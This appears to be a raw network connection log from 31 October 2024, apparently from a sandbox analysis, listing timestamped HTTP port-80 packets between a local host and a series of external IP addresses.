Oct 31, 2024 16:05:13.530517101 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:13.661004066 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.661020041 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.661075115 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.661134005 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.661250114 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.661259890 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.661300898 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.661469936 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:13.661482096 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:13.661489964 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:13.661536932 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:13.662493944 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:13.924576998 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.924599886 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:13.924609900 CET	80	49275	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.924637079 CET	49275	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.928602934 CET	49278	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.934262991 CET	80	49278	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.934427977 CET	49278	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.934443951 CET	49278	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.934443951 CET	49278	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:13.939827919 CET	80	49278	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:13.939841032 CET	80	49278	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:15.113933086 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:15.114074945 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:15.119843960 CET	80	49277	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:15.120048046 CET	49277	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:15.126981020 CET	49279	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:15.131917953 CET	80	49279	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:15.132029057 CET	49279	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:15.132064104 CET	49279	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:15.132076025 CET	49279	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:15.137218952 CET	80	49279	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:15.137233019 CET	80	49279	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:15.395834923 CET	80	49278	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:15.395951033 CET	49278	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:15.402339935 CET	80	49278	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:15.402406931 CET	49278	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:15.493675947 CET	49280	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:15.498619080 CET	80	49280	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:15.498671055 CET	49280	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:15.498728991 CET	49280	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:15.498749971 CET	49280	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:15.503571033 CET	80	49280	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:15.503665924 CET	80	49280	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:16.139944077 CET	80	49279	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:16.140410900 CET	49279	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:16.145714998 CET	80	49279	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:16.145981073 CET	49279	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:16.165752888 CET	49281	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.170542002 CET	80	49281	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:16.170717001 CET	49281	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.170933962 CET	49281	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.170933962 CET	49281	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.175836086 CET	80	49281	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:16.176356077 CET	80	49281	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:16.349989891 CET	80	49280	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:16.354104996 CET	49280	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:16.359724045 CET	80	49280	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:16.360114098 CET	49280	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:16.373791933 CET	49282	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.380299091 CET	80	49282	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:16.380670071 CET	49282	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.380779982 CET	49282	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.380779982 CET	49282	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:16.385739088 CET	80	49282	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:16.386431932 CET	80	49282	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:17.583997965 CET	80	49281	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:17.584129095 CET	49281	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:17.589380980 CET	80	49281	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:17.589440107 CET	49281	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:17.619421959 CET	49283	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:17.624288082 CET	80	49283	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:17.624337912 CET	49283	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:17.624440908 CET	49283	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:17.624453068 CET	49283	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:17.629332066 CET	80	49283	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:17.629342079 CET	80	49283	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:17.804533958 CET	80	49282	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:17.804653883 CET	49282	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:17.809936047 CET	80	49282	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:17.809988976 CET	49282	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:17.813564062 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:17.818509102 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:17.822108984 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:17.822182894 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:17.822182894 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:17.827877045 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:17.827888012 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:18.308901072 CET	80	49283	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:18.309571981 CET	49283	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:18.314733982 CET	80	49283	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:18.315222025 CET	49283	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:18.359354973 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:18.364814043 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:18.365014076 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:18.365664005 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:18.365747929 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:18.370577097 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:18.370882988 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:19.779927969 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:19.779943943 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:19.779954910 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:19.780040026 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:19.780088902 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:19.780100107 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:19.780109882 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:19.780117035 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:19.780143976 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:19.780159950 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:19.780159950 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:19.780303001 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:19.780630112 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:19.780641079 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:19.780684948 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:20.053864956 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:20.054018974 CET	49285	80	192.168.2.22	35.164.78.200
Oct 31, 2024 16:05:20.055540085 CET	80	49285	35.164.78.200	192.168.2.22
Oct 31, 2024 16:05:20.055550098 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:20.055557966 CET	80	49284	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:20.055593967 CET	49284	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:20.059993982 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:20.064785957 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:20.066009998 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:20.066169977 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:20.066195011 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:20.071229935 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:20.071248055 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:20.459916115 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:20.464853048 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:20.464915991 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:20.465004921 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:20.465991020 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:20.470345974 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:20.470788956 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:21.928677082 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:21.928698063 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:21.928710938 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:21.928726912 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:21.928751945 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:21.928780079 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:21.928823948 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:21.928955078 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:21.928997040 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:21.929148912 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:21.929182053 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:21.929214954 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:21.929718018 CET	49287	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:21.929857016 CET	49286	80	192.168.2.22	18.141.10.107
Oct 31, 2024 16:05:21.934743881 CET	80	49287	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:21.934859991 CET	80	49286	18.141.10.107	192.168.2.22
Oct 31, 2024 16:05:21.958812952 CET	49291	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:21.963768959 CET	80	49291	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:21.963821888 CET	49291	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:21.963923931 CET	49291	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:21.963938951 CET	49291	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:21.969635963 CET	80	49291	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:21.969650030 CET	80	49291	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:21.978590012 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:21.978617907 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:21.984155893 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:21.984169006 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:22.128537893 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:22.255075932 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:22.255075932 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:22.260210991 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:22.260226965 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:22.402158976 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:22.521851063 CET	49292	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:22.527513981 CET	80	49292	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:22.530035019 CET	49292	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:22.532387018 CET	49292	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:22.532423019 CET	49292	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:22.537878990 CET	80	49292	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:22.537893057 CET	80	49292	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:22.627774954 CET	80	49201	208.100.26.245	192.168.2.22
Oct 31, 2024 16:05:22.627840042 CET	49201	80	192.168.2.22	208.100.26.245
Oct 31, 2024 16:05:22.672261000 CET	80	49291	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:22.672534943 CET	49291	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:22.678388119 CET	80	49291	3.94.10.34	192.168.2.22
Oct 31, 2024 16:05:22.679651976 CET	49291	80	192.168.2.22	3.94.10.34
Oct 31, 2024 16:05:22.696295023 CET	49293	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:22.701827049 CET	80	49293	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:22.702023983 CET	49293	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:22.702078104 CET	49293	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:22.702099085 CET	49293	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:22.708211899 CET	80	49293	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:22.708225012 CET	80	49293	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:23.181977987 CET	80	49292	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:23.182389021 CET	49292	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:23.187601089 CET	80	49292	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:23.187652111 CET	49292	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:23.199129105 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:23.204200029 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:23.204257011 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:23.204634905 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:23.204670906 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:23.209459066 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:23.209481955 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:23.546576023 CET	80	49293	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:23.546708107 CET	49293	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:23.552012920 CET	80	49293	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:23.552067041 CET	49293	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:23.719868898 CET	49295	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:23.725146055 CET	80	49295	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:23.725224972 CET	49295	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:23.725306988 CET	49295	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:23.725342989 CET	49295	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:23.730854988 CET	80	49295	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:23.730869055 CET	80	49295	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:24.249284983 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:24.249573946 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:24.251163006 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:24.251176119 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:24.251214027 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:24.251229048 CET	49294	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:24.261850119 CET	80	49294	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:24.270649910 CET	49296	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:24.275937080 CET	80	49296	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:24.276004076 CET	49296	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:24.276913881 CET	49296	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:24.277023077 CET	49296	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:24.281933069 CET	80	49296	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:24.281954050 CET	80	49296	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:24.741729975 CET	80	49295	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:24.741935015 CET	49295	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:24.747301102 CET	80	49295	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:24.747421026 CET	49295	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:24.931041002 CET	80	49296	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:24.936343908 CET	49296	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:24.941989899 CET	80	49296	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:24.946038008 CET	49296	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:24.989582062 CET	49297	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:05:24.994535923 CET	80	49297	85.214.228.140	192.168.2.22
Oct 31, 2024 16:05:24.994584084 CET	49297	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:05:24.995134115 CET	49297	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:05:24.995145082 CET	49297	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:05:25.000754118 CET	80	49297	85.214.228.140	192.168.2.22
Oct 31, 2024 16:05:25.000766993 CET	80	49297	85.214.228.140	192.168.2.22
Oct 31, 2024 16:05:25.043967962 CET	49298	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:25.049278975 CET	80	49298	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:25.049360991 CET	49298	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:25.052601099 CET	49298	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:25.052643061 CET	49298	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:25.057795048 CET	80	49298	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:25.057807922 CET	80	49298	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:25.865777969 CET	80	49297	85.214.228.140	192.168.2.22
Oct 31, 2024 16:05:25.878957033 CET	49299	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:25.884037971 CET	80	49299	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:25.884134054 CET	49299	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:25.884198904 CET	49299	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:25.884306908 CET	49299	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:25.889209032 CET	80	49299	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:25.889384985 CET	80	49299	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:26.072964907 CET	49297	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:05:26.212636948 CET	80	49298	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:26.212667942 CET	80	49297	85.214.228.140	192.168.2.22
Oct 31, 2024 16:05:26.212738991 CET	49297	80	192.168.2.22	85.214.228.140
Oct 31, 2024 16:05:26.215698957 CET	49298	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:26.223073006 CET	80	49298	3.254.94.185	192.168.2.22
Oct 31, 2024 16:05:26.223119974 CET	49298	80	192.168.2.22	3.254.94.185
Oct 31, 2024 16:05:26.963512897 CET	49300	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:26.968583107 CET	80	49300	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:26.970036030 CET	49300	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:26.970179081 CET	49300	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:26.970206976 CET	49300	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:26.975805044 CET	80	49300	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:26.975816011 CET	80	49300	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:27.311906099 CET	80	49299	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:27.312846899 CET	49299	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:27.318475962 CET	80	49299	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:27.321686029 CET	49299	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:27.325385094 CET	49301	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:27.330388069 CET	80	49301	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:27.330468893 CET	49301	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:27.330575943 CET	49301	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:27.330734015 CET	49301	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:27.335551977 CET	80	49301	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:27.336301088 CET	80	49301	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:27.847738028 CET	80	49300	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:27.848146915 CET	49300	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:27.853415966 CET	80	49300	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:27.853482962 CET	49300	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:27.874885082 CET	49302	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:27.879925013 CET	80	49302	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:27.882029057 CET	49302	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:27.882150888 CET	49302	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:27.882173061 CET	49302	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:27.887307882 CET	80	49302	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:27.887321949 CET	80	49302	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:28.158869028 CET	80	49301	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:28.159030914 CET	49301	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:28.164284945 CET	80	49301	34.211.97.45	192.168.2.22
Oct 31, 2024 16:05:28.164336920 CET	49301	80	192.168.2.22	34.211.97.45
Oct 31, 2024 16:05:28.170794964 CET	49303	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:28.175863028 CET	80	49303	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:28.175987005 CET	49303	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:28.176090002 CET	49303	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:28.176331043 CET	49303	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:28.181200027 CET	80	49303	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:28.181209087 CET	80	49303	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:28.748616934 CET	80	49302	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:28.870253086 CET	80	49302	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:28.871478081 CET	49302	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:29.589730978 CET	80	49303	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:29.589869976 CET	49303	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:29.596539974 CET	80	49303	47.129.31.212	192.168.2.22
Oct 31, 2024 16:05:29.596609116 CET	49303	80	192.168.2.22	47.129.31.212
Oct 31, 2024 16:05:29.603209019 CET	49304	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:29.609885931 CET	80	49304	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:29.609939098 CET	49304	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:29.610045910 CET	49304	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:29.610057116 CET	49304	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:29.616163015 CET	80	49304	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:29.616173029 CET	80	49304	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:30.271208048 CET	80	49304	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:30.271981001 CET	49304	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:30.277292013 CET	80	49304	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:30.277332067 CET	49304	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:30.297842026 CET	49305	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:30.302699089 CET	80	49305	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:30.302750111 CET	49305	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:30.302875042 CET	49305	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:30.302898884 CET	49305	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:30.307817936 CET	80	49305	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:30.307830095 CET	80	49305	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:30.502068043 CET	49302	80	192.168.2.22	54.244.188.177
Oct 31, 2024 16:05:30.507111073 CET	80	49302	54.244.188.177	192.168.2.22
Oct 31, 2024 16:05:30.510521889 CET	49306	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:30.515470028 CET	80	49306	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:30.515521049 CET	49306	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:30.515602112 CET	49306	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:30.515647888 CET	49306	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:30.520597935 CET	80	49306	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:30.520623922 CET	80	49306	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:31.354913950 CET	80	49306	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:31.355045080 CET	49306	80	192.168.2.22	18.246.231.120
Oct 31, 2024 16:05:31.360846996 CET	80	49306	18.246.231.120	192.168.2.22
Oct 31, 2024 16:05:31.360923052 CET	49306	80	192.168.2.22	18.246.231.120
